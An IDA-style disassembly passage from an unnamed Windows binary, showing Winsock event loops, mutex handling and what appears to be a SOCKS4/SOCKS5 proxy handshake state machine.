sub_40C38F	proc near		; CODE XREF: sub_401A4D+1Ej
					; sub_401C28+4Bp ...
		mov	eax, offset loc_427C8D
		call	sub_41E550
		sub	esp, 44h
		push	offset aVectorTTooLong ; "vector<T> too	long"
		lea	ecx, [ebp-28h]
		call	sub_401818
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401000
		push	offset dword_43118C
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_429478
		call	sub_41E4BE
		int	3		; Trap to Debugger

loc_40C3CF:				; CODE XREF: .text:0040BBB0p
					; .text:0040BDC4p
		mov	eax, offset loc_427EE6
		call	sub_41E550
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	0FFFFFFFFh
		push	dword ptr [edi]
		call	ds:dword_429128	; WaitForSingleObject
		mov	ebx, [edi+8]
		mov	eax, [edi+0Ch]
		cmp	ebx, eax
		jz	short loc_40C426

loc_40C3F3:				; CODE XREF: sub_40C38F+95j
		lea	eax, [edi+4]
		call	sub_408AF0
		cmp	eax, 1
		jbe	short loc_40C426
		mov	esi, [ebx]
		cmp	dword ptr [esi+48h], 0
		jg	short loc_40C41E
		call	sub_4151B4
		push	ebx
		lea	ebx, [ebp-10h]
		lea	esi, [edi+4]
		call	sub_408B03
		mov	ebx, [edi+8]
		jmp	short loc_40C421
; ---------------------------------------------------------------------------

loc_40C41E:				; CODE XREF: sub_40C38F+77j
		add	ebx, 4

loc_40C421:				; CODE XREF: sub_40C38F+8Dj
		cmp	ebx, [edi+0Ch]
		jnz	short loc_40C3F3

loc_40C426:				; CODE XREF: sub_40C38F+62j
					; sub_40C38F+6Fj
		mov	esi, [edi+8]
		cmp	esi, [edi+0Ch]
		jz	short loc_40C4A4

loc_40C42E:				; CODE XREF: sub_40C38F+B5j
		mov	eax, [ebp+8]
		mov	ebx, [esi]
		call	sub_41520F
		test	eax, eax
		jnz	short loc_40C464
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	esi, eax
		jnz	short loc_40C42E
		push	164h
		call	sub_41BA91
		pop	ecx
		mov	[ebp-10h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40C470
		push	eax
		call	sub_40C31C
		jmp	short loc_40C472
; ---------------------------------------------------------------------------

loc_40C464:				; CODE XREF: sub_40C38F+ABj
		push	dword ptr [edi]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, [esi]
		jmp	short loc_40C4A4
; ---------------------------------------------------------------------------

loc_40C470:				; CODE XREF: sub_40C38F+CBj
		xor	eax, eax

loc_40C472:				; CODE XREF: sub_40C38F+D3j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[ebp-10h], eax
		lea	eax, [edi+4]
		lea	esi, [ebp-10h]
		call	sub_40C2E7
		mov	ecx, [edi+0Ch]
		mov	eax, [ebp+8]
		sub	ecx, 4
		mov	ebx, [ecx]
		call	sub_41520F
		push	dword ptr [edi]
		call	ds:dword_429138	; ReleaseMutex
		mov	edi, [edi+0Ch]
		sub	edi, 4
		mov	eax, [edi]

loc_40C4A4:				; CODE XREF: sub_40C38F+9Dj
					; sub_40C38F+DFj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40C38F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C4B5	proc near		; CODE XREF: .text:0040A4E8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		cmp	ecx, [esp+arg_4]
		jz	short loc_40C4CE
		mov	edx, [edx]

loc_40C4C1:				; CODE XREF: sub_40C4B5+17j
		cmp	[ecx], edx
		jz	short loc_40C4CE
		add	ecx, 4
		cmp	ecx, [esp+arg_4]
		jnz	short loc_40C4C1

loc_40C4CE:				; CODE XREF: sub_40C4B5+8j
					; sub_40C4B5+Ej
		mov	[eax], ecx
		retn
sub_40C4B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C4D1	proc near		; DATA XREF: .text:0043053Co

arg_0		= byte ptr  4

		mov	eax, [ecx+34h]
		mov	ecx, [ecx+158h]
		push	esi
		push	edi
		sub	esp, 2Ch
		lea	eax, [ecx+eax*4]
		push	0Bh
		pop	ecx
		mov	edi, esp
		push	dword ptr [eax]
		lea	esi, [esp+38h+arg_0]
		rep movsd
		call	sub_409BDA
		pop	edi
		pop	esi
		retn	2Ch
sub_40C4D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C4F9	proc near		; DATA XREF: .text:0043054Co
		mov	eax, offset loc_427EE6
		call	sub_41E550
		push	ecx
		push	esi
		push	edi
		push	0DD0h
		mov	esi, ecx
		call	sub_41BA91
		pop	ecx
		mov	[ebp-10h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40C525
		call	sub_40A355
		jmp	short loc_40C527
; ---------------------------------------------------------------------------

loc_40C525:				; CODE XREF: sub_40C4F9+23j
		xor	eax, eax

loc_40C527:				; CODE XREF: sub_40C4F9+2Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [esi+1Ch]
		lea	edx, [ecx-574h]
		mov	edi, [edx+470h]
		mov	ecx, [esi+2Ch]
		shr	edi, 4
		not	edi
		and	edi, 1
		push	edi
		sub	ecx, 24h
		push	ecx
		push	edx
		push	eax
		mov	[ebp-10h], eax
		call	sub_409B4C
		lea	eax, [esi+154h]
		lea	esi, [ebp-10h]
		call	sub_40C2E7
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40C4F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C570	proc near		; DATA XREF: .text:00430550o

var_4		= byte ptr -4

		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+34h]
		mov	ecx, [esi+158h]
		lea	eax, [ecx+eax*4]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_40C58F
		push	1
		push	eax
		call	sub_40C5AF

loc_40C58F:				; CODE XREF: sub_40C570+15j
		mov	eax, [esi+34h]
		mov	ecx, [esi+158h]
		lea	eax, [ecx+eax*4]
		push	eax
		add	esi, 154h
		lea	ebx, [esp+10h+var_4]
		call	sub_408B03
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_40C570	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C5AF	proc near		; CODE XREF: sub_40C570+1Ap

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		call	sub_40C5D0
		test	[esp+arg_4], 1
		jz	short loc_40C5C9
		push	[esp+arg_0]
		call	sub_41C7B8
		pop	ecx

loc_40C5C9:				; CODE XREF: sub_40C5AF+Ej
		mov	eax, [esp+arg_0]
		retn	8
sub_40C5AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C5D0	proc near		; CODE XREF: sub_40C5AF+4p
		push	edi
		mov	edi, eax
		push	dword ptr [edi+7D8h]
		call	ds:dword_4290F0	; CloseHandle
		call	sub_409A78
		pop	edi
		retn
sub_40C5D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C5E6	proc near		; CODE XREF: sub_40F8F8+5Bp
		mov	eax, offset loc_427941
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		xor	eax, eax
		push	edi
		mov	[esi], eax
		mov	[esi+4], eax
		push	dword ptr [ebp+0Ch]
		mov	[ebp-4], eax
		call	sub_41C350
		mov	edi, eax
		pop	ecx
		add	edi, 0D8h
		call	sub_40E23E
		push	0D7h
		mov	edi, eax
		push	offset loc_4351D8
		push	edi
		call	sub_41BC60
		push	dword ptr [ebp+0Ch]
		call	sub_41C350
		inc	eax
		push	eax
		push	dword ptr [ebp+0Ch]
		add	edi, 0D7h
		push	edi
		call	sub_41BC60
		add	esp, 1Ch
		push	7
		push	offset dword_4305FC
		mov	eax, esi
		call	sub_40E143
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	8
sub_40C5E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C663	proc near		; CODE XREF: sub_402AC9+302p
					; sub_402AC9+3D4p ...

arg_0		= dword	ptr  4

		lea	ecx, [edx+0F8h]
		movzx	edx, word ptr [edx+6]
		push	edi
		xor	eax, eax
		xor	edi, edi
		test	edx, edx
		jbe	short loc_40C6A2
		push	ebx
		push	esi

loc_40C678:				; CODE XREF: sub_40C663+2Fj
		mov	esi, [ecx+0Ch]
		cmp	[esp+0Ch+arg_0], esi
		jb	short loc_40C68C
		mov	ebx, [ecx+10h]
		add	ebx, esi
		cmp	[esp+0Ch+arg_0], ebx
		jb	short loc_40C696

loc_40C68C:				; CODE XREF: sub_40C663+1Cj
		add	ecx, 28h
		inc	edi
		cmp	edi, edx
		jb	short loc_40C678
		jmp	short loc_40C6A0
; ---------------------------------------------------------------------------

loc_40C696:				; CODE XREF: sub_40C663+27j
		mov	eax, [ecx+14h]
		sub	eax, [ecx+0Ch]
		add	eax, [esp+0Ch+arg_0]

loc_40C6A0:				; CODE XREF: sub_40C663+31j
		pop	esi
		pop	ebx

loc_40C6A2:				; CODE XREF: sub_40C663+11j
		pop	edi
		retn
sub_40C663	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6A4	proc near		; CODE XREF: sub_40F6A4+BEp
					; sub_4142D6+44Cp

arg_0		= byte ptr  4
arg_4		= word ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		and	dword ptr [edi+4], 0
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		push	esi
		lea	esi, [edi+30h]
		mov	dword ptr [edi], offset	off_430610
		call	sub_414878
		mov	ax, [esp+4+arg_4]
		mov	[edi+5A4h], ax
		mov	al, [esp+4+arg_0]
		push	10h
		push	[esp+8+arg_8]
		mov	[edi+5A6h], al
		lea	eax, [edi+10h]
		push	eax
		call	sub_41BC60
		push	10h
		push	[esp+14h+arg_C]
		lea	eax, [edi+20h]
		push	eax
		call	sub_41BC60
		xor	ecx, ecx
		add	esp, 18h
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		push	esi
		call	sub_414ACD
		mov	esi, edi
		call	sub_416AC4
		mov	eax, edi
		pop	esi
		retn	10h
sub_40C6A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C70F	proc near		; DATA XREF: .text:00430614o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40C72B
		test	[esp+4+arg_0], 1
		jz	short loc_40C725
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_40C725:				; CODE XREF: sub_40C70F+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40C70F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C72B	proc near		; CODE XREF: sub_40C70F+3p
		push	3
		lea	eax, [esi+30h]
		mov	dword ptr [esi], offset	off_430610
		call	sub_414D44
		mov	ecx, esi
		jmp	sub_416AA6
sub_40C72B	endp

; ---------------------------------------------------------------------------

loc_40C742:				; DATA XREF: .text:off_430610o
		mov	eax, offset loc_427A49
		call	sub_41E550
		sub	esp, 5B8h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [ebp-20h]
		mov	[ebp-18h], edi
		call	sub_405E63
		and	dword ptr [ebp-4], 0
		xor	eax, eax
		mov	ax, [edi+5A4h]
		push	offset aNull_1	; "null"
		push	6
		push	eax
		mov	eax, esi
		call	sub_405EF4
		push	8
		lea	esi, [edi+30h]
		pop	ebx
		mov	[ebp-10h], esi
		call	sub_414AE0
		mov	ax, [edi+5A4h]
		mov	ecx, esi
		call	sub_414997
		or	esi, 0FFFFFFFFh
		cmp	eax, esi
		jz	loc_40C840
		mov	eax, [ebp-10h]
		push	4
		call	sub_414A0C
		cmp	eax, esi
		jz	loc_40C840
		mov	eax, [edi+49Ch]
		mov	[ebp-14h], eax

loc_40C7C0:				; CODE XREF: .text:0040C7D7j
					; .text:0040C7DBj ...
		push	0
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-14h]
		push	eax
		push	1
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	short loc_40C7C0
		test	eax, eax
		jnz	short loc_40C7C0
		mov	edi, [ebp-10h]
		lea	eax, [ebp-50h]
		push	eax
		call	sub_414C04
		test	byte ptr [ebp-50h], 8
		jz	short loc_40C7C0
		lea	esi, [ebp-5C4h]
		call	sub_414878
		push	edi
		lea	esi, [ebp-5C4h]
		call	sub_414A1F
		push	21h
		pop	ebx
		lea	esi, [ebp-5C4h]
		call	sub_414AE0
		push	0D88h
		call	sub_41BA91
		pop	ecx
		mov	[ebp-24h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 1
		jz	short loc_40C83A
		push	dword ptr [ebp-18h]
		lea	ecx, [ebp-5C4h]
		push	ecx
		push	eax
		call	sub_40C85A

loc_40C83A:				; CODE XREF: .text:0040C828j
		mov	byte ptr [ebp-4], 0
		jmp	short loc_40C7C0
; ---------------------------------------------------------------------------

loc_40C840:				; CODE XREF: .text:0040C79Fj
					; .text:0040C7B1j
		mov	[ebp-4], esi
		lea	esi, [ebp-20h]
		call	sub_405EDB
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40C85A	proc near		; CODE XREF: .text:0040C835p
		mov	eax, offset loc_427A2D
		call	sub_41E550
		push	ebx
		mov	ebx, [ebp+8]
		or	dword ptr [ebx+0Ch], 0FFFFFFFFh
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebx+4], edi
		mov	[ebp-4], edi
		lea	esi, [ebx+1Ch]
		mov	dword ptr [ebx], offset	off_430604
		call	sub_414878
		lea	esi, [ebx+590h]
		call	sub_414878
		lea	eax, [ebx+0B08h]
		mov	[eax], edi
		mov	[eax+4], edi
		mov	[eax+8], edi
		lea	eax, [ebx+0B18h]
		mov	[eax], edi
		mov	[eax+4], edi
		mov	[eax+8], edi
		lea	eax, [ebx+0B28h]
		call	sub_414E89
		mov	esi, [ebp+0Ch]
		mov	ecx, 15Dh
		lea	edi, [ebx+1Ch]
		rep movsd
		mov	ecx, [ebp+10h]
		mov	[ebx+10h], ecx
		mov	dx, [ecx+5A4h]
		mov	[ebx+0B50h], dx
		mov	cl, [ecx+5A6h]
		and	dword ptr [ebx+0B58h], 0
		mov	edi, 400h
		mov	esi, eax
		mov	[ebx+0B4Dh], cl
		call	sub_414EC6
		xor	edx, edx
		inc	edx
		lea	eax, [ebx+0B28h]
		call	sub_414FF1
		lea	esi, [ebx+590h]
		mov	ecx, edx
		mov	eax, esi
		call	sub_4148AA
		push	esi
		call	sub_414ACD
		and	dword ptr [ebx+0D80h], 0
		mov	esi, ebx
		call	sub_416AC4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_40C85A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C93A	proc near		; DATA XREF: .text:00430608o

arg_0		= byte ptr  4

		push	edi
		mov	edi, ecx
		call	sub_40C956
		test	[esp+4+arg_0], 1
		jz	short loc_40C950
		push	edi
		call	sub_41C7B8
		pop	ecx

loc_40C950:				; CODE XREF: sub_40C93A+Dj
		mov	eax, edi
		pop	edi
		retn	4
sub_40C93A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C956	proc near		; CODE XREF: sub_40C93A+3p
		push	esi
		lea	esi, [edi+0B28h]
		mov	dword ptr [edi], offset	off_430604
		call	sub_414EA3
		push	3
		lea	eax, [edi+1Ch]
		call	sub_414D44
		push	3
		lea	eax, [edi+590h]
		call	sub_414D44
		mov	ecx, edi
		pop	esi
		jmp	sub_416AA6
sub_40C956	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C987	proc near		; DATA XREF: .text:off_430604o

var_2C		= byte ptr -2Ch

		sub	esp, 2Ch
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+488h]
		push	ebp
		lea	ebp, [ebx+14h]
		mov	[ebp+0], eax
		mov	eax, [ebx+9FCh]
		push	esi
		push	edi
		mov	[ebx+18h], eax

loc_40C9A5:				; CODE XREF: sub_40C987+8Ej
					; sub_40C987+A4j
		push	0
		push	3E8h
		push	0
		push	ebp
		push	2
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	short loc_40CA1F
		test	eax, eax
		jnz	short loc_40C9E5
		lea	eax, [esp+3Ch+var_2C]
		push	eax
		lea	edi, [ebx+1Ch]
		call	sub_414C04
		sub	esp, 2Ch
		push	0Bh
		pop	ecx
		mov	edi, esp
		lea	esi, [esp+68h+var_2C]
		push	ebx
		rep movsd
		call	sub_40CA30
		jmp	short loc_40CA0E
; ---------------------------------------------------------------------------

loc_40C9E5:				; CODE XREF: sub_40C987+39j
		cmp	eax, 1
		jnz	short loc_40CA0E
		lea	eax, [esp+3Ch+var_2C]
		push	eax
		lea	edi, [ebx+590h]
		call	sub_414C04
		sub	esp, 2Ch
		push	0Bh
		pop	ecx
		mov	edi, esp
		lea	esi, [esp+68h+var_2C]
		push	ebx
		rep movsd
		call	sub_40D453

loc_40CA0E:				; CODE XREF: sub_40C987+5Cj
					; sub_40C987+61j
		cmp	dword ptr [ebx+0D80h], 2
		jnz	short loc_40C9A5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 2Ch
		retn
; ---------------------------------------------------------------------------

loc_40CA1F:				; CODE XREF: sub_40C987+35j
		push	dword ptr [ebx+488h]
		call	ds:dword_42910C	; SetEvent
		jmp	loc_40C9A5
sub_40C987	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA30	proc near		; CODE XREF: sub_40C987+57p
		mov	eax, offset loc_427A1B
		call	sub_41E550
		sub	esp, 60Ch
		push	ebx
		mov	ebx, [ebp+8]
		cmp	dword ptr [ebx+0B58h], 0Dh
		push	esi
		push	edi
		jz	loc_40D3B0
		mov	eax, [ebp+0Ch]
		and	eax, 1
		mov	[ebp-30h], eax

loc_40CA5C:				; CODE XREF: sub_40CA30+97Aj
		cmp	dword ptr [ebp-30h], 0
		jz	loc_40D423
		lea	eax, [ebx+1Ch]
		mov	[ebp-14h], eax
		lea	eax, [ebx+0B28h]
		mov	[ebp-10h], eax
		jmp	short loc_40CA7A
; ---------------------------------------------------------------------------

loc_40CA77:				; CODE XREF: sub_40CA30+1BCj
					; sub_40CA30+22Dj ...
		mov	ebx, [ebp+8]

loc_40CA7A:				; CODE XREF: sub_40CA30+45j
					; sub_40CA30+6Fj ...
		push	dword ptr [ebp-14h]
		mov	edi, [ebp-10h]
		call	sub_414EDD
		test	eax, eax
		jle	loc_40D423
		cmp	dword ptr [ebx+0B58h], 0
		jnz	short loc_40CAF4
		mov	eax, edi
		call	sub_41501F
		test	eax, eax
		jz	short loc_40CA7A
		mov	eax, [edi]
		mov	al, [eax]
		cmp	al, 4
		mov	[ebx+0B4Ch], al
		jz	short loc_40CAB9
		cmp	al, 5
		jnz	loc_40D10A
		jmp	short loc_40CAC6
; ---------------------------------------------------------------------------

loc_40CAB9:				; CODE XREF: sub_40CA30+7Dj
		test	byte ptr [ebx+0B4Dh], 1
		jz	loc_40D10A

loc_40CAC6:				; CODE XREF: sub_40CA30+87j
		cmp	al, 5
		jnz	short loc_40CADC
		test	byte ptr [ebx+0B4Dh], 2
		jnz	loc_40CBBC
		jmp	loc_40D10A
; ---------------------------------------------------------------------------

loc_40CADC:				; CODE XREF: sub_40CA30+98j
		cmp	al, 4
		jnz	loc_40CBB4
		xor	edx, edx
		inc	edx
		mov	eax, edi
		mov	[ebx+0B58h], edx
		call	sub_414FF1

loc_40CAF4:				; CODE XREF: sub_40CA30+64j
		cmp	dword ptr [ebx+0B58h], 1
		jnz	short loc_40CB31
		mov	eax, edi
		call	sub_41501F
		test	eax, eax
		jz	loc_40CA7A
		mov	eax, [edi]
		mov	al, [eax]
		and	dword ptr [ebx+0C7Ch], 0
		push	6
		mov	[ebx+0B4Fh], al
		pop	edx
		mov	eax, edi
		mov	dword ptr [ebx+0B58h], 2
		call	sub_414FF1

loc_40CB31:				; CODE XREF: sub_40CA30+CBj
		mov	eax, [ebx+0B58h]
		cmp	eax, 2
		jnz	loc_40CBD5
		mov	esi, [ebp-10h]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	edi, eax
		call	sub_415008
		push	dword ptr [esi]
		lea	ecx, [ebx+0C7Ch]
		mov	esi, eax
		mov	eax, ecx
		call	sub_40D6E6
		test	edi, edi
		jz	loc_40CA7A
		push	2
		lea	eax, [ebx+0C80h]
		push	eax
		lea	esi, [ebx+0B50h]
		push	esi
		call	sub_41BC60
		push	4
		lea	eax, [ebx+0C82h]
		push	eax
		lea	eax, [ebx+0B54h]
		push	eax
		call	sub_41BC60
		xor	eax, eax
		mov	ax, [esi]
		add	esp, 18h
		push	eax
		call	ds:dword_4292E4	; htons
		mov	[esi], ax
		mov	dword ptr [ebx+0B58h], 3
		jmp	short loc_40CBDA
; ---------------------------------------------------------------------------

loc_40CBB4:				; CODE XREF: sub_40CA30+AEj
		cmp	al, 5
		jnz	loc_40CA7A

loc_40CBBC:				; CODE XREF: sub_40CA30+A1j
		xor	edx, edx
		inc	edx
		mov	eax, edi
		mov	dword ptr [ebx+0B58h], 7
		call	sub_414FF1
		jmp	loc_40CDDC
; ---------------------------------------------------------------------------

loc_40CBD5:				; CODE XREF: sub_40CA30+10Aj
		cmp	eax, 3
		jnz	short loc_40CC46

loc_40CBDA:				; CODE XREF: sub_40CA30+182j
		mov	esi, [ebp-10h]
		xor	ebx, ebx
		push	offset byte_42FE34
		inc	ebx
		call	sub_414F40
		test	eax, eax
		jz	loc_40CA77
		mov	eax, [ebp+8]
		mov	ecx, [eax+0B54h]
		test	ecx, 0FFFFFFh
		jnz	short loc_40CC1A
		test	ecx, ecx
		jz	short loc_40CC1A
		and	dword ptr [eax+0C7Ch], 0
		mov	dword ptr [eax+0B58h], 4
		jmp	short loc_40CC4B
; ---------------------------------------------------------------------------

loc_40CC1A:				; CODE XREF: sub_40CA30+1D1j
					; sub_40CA30+1D5j
		mov	cl, [eax+0B4Fh]
		cmp	cl, 1
		jnz	short loc_40CC31
		mov	dword ptr [eax+0B58h], 5
		jmp	short loc_40CC96
; ---------------------------------------------------------------------------

loc_40CC31:				; CODE XREF: sub_40CA30+1F3j
		cmp	cl, 2
		jnz	loc_40D41C
		mov	dword ptr [eax+0B58h], 6
		jmp	short loc_40CCAD
; ---------------------------------------------------------------------------

loc_40CC46:				; CODE XREF: sub_40CA30+1A8j
		cmp	eax, 4
		jnz	short loc_40CCB2

loc_40CC4B:				; CODE XREF: sub_40CA30+1E8j
		mov	esi, [ebp-10h]
		xor	ebx, ebx
		push	offset byte_42FE34
		inc	ebx
		call	sub_414F40
		test	eax, eax
		jz	loc_40CA77
		mov	eax, esi
		push	dword ptr [eax]
		call	sub_41484D
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	ecx, [ebp+8]
		mov	[ecx+0B54h], eax
		jnz	short loc_40CC82
		mov	eax, ecx
		jmp	loc_40D121
; ---------------------------------------------------------------------------

loc_40CC82:				; CODE XREF: sub_40CA30+249j
		mov	al, [ecx+0B4Fh]
		cmp	al, 1
		jnz	short loc_40CC9B
		mov	dword ptr [ecx+0B58h], 5

loc_40CC96:				; CODE XREF: sub_40CA30+1FFj
		mov	ebx, [ebp+8]
		jmp	short loc_40CCB7
; ---------------------------------------------------------------------------

loc_40CC9B:				; CODE XREF: sub_40CA30+25Aj
		cmp	al, 2
		jnz	loc_40D41A
		mov	dword ptr [ecx+0B58h], 6

loc_40CCAD:				; CODE XREF: sub_40CA30+214j
		mov	ebx, [ebp+8]
		jmp	short loc_40CD13
; ---------------------------------------------------------------------------

loc_40CCB2:				; CODE XREF: sub_40CA30+219j
		cmp	eax, 5
		jnz	short loc_40CD0A

loc_40CCB7:				; CODE XREF: sub_40CA30+269j
		push	8
		lea	eax, [ebp-2Ch]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		push	dword ptr [ebx+0B54h]
		mov	byte ptr [ebp-2Ch], 0
		call	ds:dword_429274	; inet_ntoa
		push	eax
		mov	ax, [ebx+0B50h]
		lea	ecx, [ebx+590h]
		call	sub_414A81
		mov	edi, [ebp-14h]
		cmp	eax, 0FFFFFFFFh
		push	8
		lea	eax, [ebp-2Ch]
		push	eax
		jnz	loc_40D338
		mov	byte ptr [ebp-2Bh], 5Bh
		call	sub_414C2D
		jmp	loc_40D10A
; ---------------------------------------------------------------------------

loc_40CD0A:				; CODE XREF: sub_40CA30+285j
		cmp	eax, 6
		jnz	loc_40CDD9

loc_40CD13:				; CODE XREF: sub_40CA30+280j
		lea	edi, [ebx+590h]
		xor	ax, ax
		mov	ecx, edi
		call	sub_414997
		lea	esi, [ebp-40h]
		call	sub_405E63
		and	dword ptr [ebp-4], 0
		push	offset aNull_1	; "null"
		push	6
		push	edi
		call	sub_414BCD
		push	eax
		mov	eax, esi
		call	sub_405EF4
		push	1
		mov	eax, edi
		mov	byte ptr [ebp-24h], 0
		call	sub_414A0C
		cmp	eax, 0FFFFFFFFh
		push	8
		jnz	short loc_40CD71
		mov	edi, [ebp-14h]
		lea	eax, [ebp-24h]
		push	eax
		mov	byte ptr [ebp-23h], 5Bh
		call	sub_414C2D
		mov	eax, ebx
		call	sub_40D69B
		jmp	short loc_40CDC8
; ---------------------------------------------------------------------------

loc_40CD71:				; CODE XREF: sub_40CA30+326j
		pop	ebx
		mov	esi, edi
		call	sub_414AE0
		push	edi
		mov	byte ptr [ebp-23h], 5Ah
		call	sub_414BCD
		push	eax
		call	ds:dword_42927C	; htons
		push	2
		mov	[ebp-38h], eax
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-22h]
		push	eax
		call	sub_41BC60
		push	4
		lea	eax, [ebp-20h]
		push	0
		push	eax
		call	sub_41C6D0
		mov	edi, [ebp-14h]
		add	esp, 18h
		push	ebx
		lea	eax, [ebp-24h]
		push	eax
		call	sub_414C2D
		mov	eax, [ebp+8]
		mov	dword ptr [eax+0B58h], 0Ch
		mov	ebx, eax

loc_40CDC8:				; CODE XREF: sub_40CA30+33Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	esi, [ebp-40h]
		call	sub_405EDB
		jmp	loc_40CA7A
; ---------------------------------------------------------------------------

loc_40CDD9:				; CODE XREF: sub_40CA30+2DDj
		mov	edi, [ebp-10h]

loc_40CDDC:				; CODE XREF: sub_40CA30+1A0j
		cmp	dword ptr [ebx+0B58h], 7
		jnz	short loc_40CE11
		mov	eax, edi
		call	sub_41501F
		test	eax, eax
		jz	loc_40CA7A
		mov	eax, [edi]
		and	dword ptr [ebx+0C7Ch], 0
		mov	dword ptr [ebx+0B58h], 8
		movsx	edx, byte ptr [eax]
		mov	eax, edi
		call	sub_414FF1

loc_40CE11:				; CODE XREF: sub_40CA30+3B3j
		cmp	dword ptr [ebx+0B58h], 8
		jnz	loc_40CEBA
		mov	esi, [ebp-10h]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	[ebp-18h], eax
		lea	edi, [ebx+0C7Ch]
		call	sub_415008
		push	dword ptr [esi]
		mov	esi, eax
		mov	eax, edi
		call	sub_40D6E6
		cmp	dword ptr [ebp-18h], 0
		jz	loc_40CA7A
		xor	eax, eax
		cmp	[edi], eax
		mov	byte ptr [ebx+0B4Eh], 0FFh
		jbe	short loc_40CE72

loc_40CE5A:				; CODE XREF: sub_40CA30+437j
		cmp	byte ptr [ebx+eax+0C80h], 2
		jz	short loc_40CE6B
		inc	eax
		cmp	eax, [edi]
		jb	short loc_40CE5A
		jmp	short loc_40CE72
; ---------------------------------------------------------------------------

loc_40CE6B:				; CODE XREF: sub_40CA30+432j
		mov	byte ptr [ebx+0B4Eh], 2

loc_40CE72:				; CODE XREF: sub_40CA30+428j
					; sub_40CA30+439j
		mov	al, [ebx+0B4Eh]
		cmp	al, 2
		jnz	loc_40D0FC
		mov	edi, [ebp-14h]
		and	dword ptr [ebx+0B5Ch], 0
		mov	[ebp-1Bh], al
		push	2
		lea	eax, [ebp-1Ch]
		push	eax
		mov	dword ptr [ebx+0B58h], 9
		mov	byte ptr [ebp-1Ch], 5
		call	sub_414C2D
		mov	eax, [ebp-10h]
		and	dword ptr [ebx+0C74h], 0
		push	2
		pop	edx
		call	sub_414FF1
		mov	edi, eax

loc_40CEBA:				; CODE XREF: sub_40CA30+3E8j
		cmp	dword ptr [ebx+0B58h], 9
		jnz	loc_40D0AB
		cmp	byte ptr [ebx+0B4Eh], 2
		jnz	loc_40CA7A
		cmp	dword ptr [ebx+0B5Ch], 0
		jnz	short loc_40CF2B
		mov	esi, [ebp-10h]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	edi, eax
		call	sub_415008
		push	dword ptr [esi]
		lea	ecx, [ebx+0C74h]
		mov	esi, eax
		mov	eax, ecx
		call	sub_40D6E6
		test	edi, edi
		jz	loc_40CA7A
		movsx	edx, byte ptr [ebx+0C79h]
		mov	eax, [ebp-10h]
		mov	dword ptr [ebx+0B5Ch], 1
		call	sub_414FF1
		and	dword ptr [ebx+0C7Ch], 0
		mov	edi, eax

loc_40CF2B:				; CODE XREF: sub_40CA30+4ABj
		cmp	dword ptr [ebx+0B5Ch], 1
		jnz	loc_40CFCA
		mov	esi, [ebp-10h]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	[ebp-18h], eax
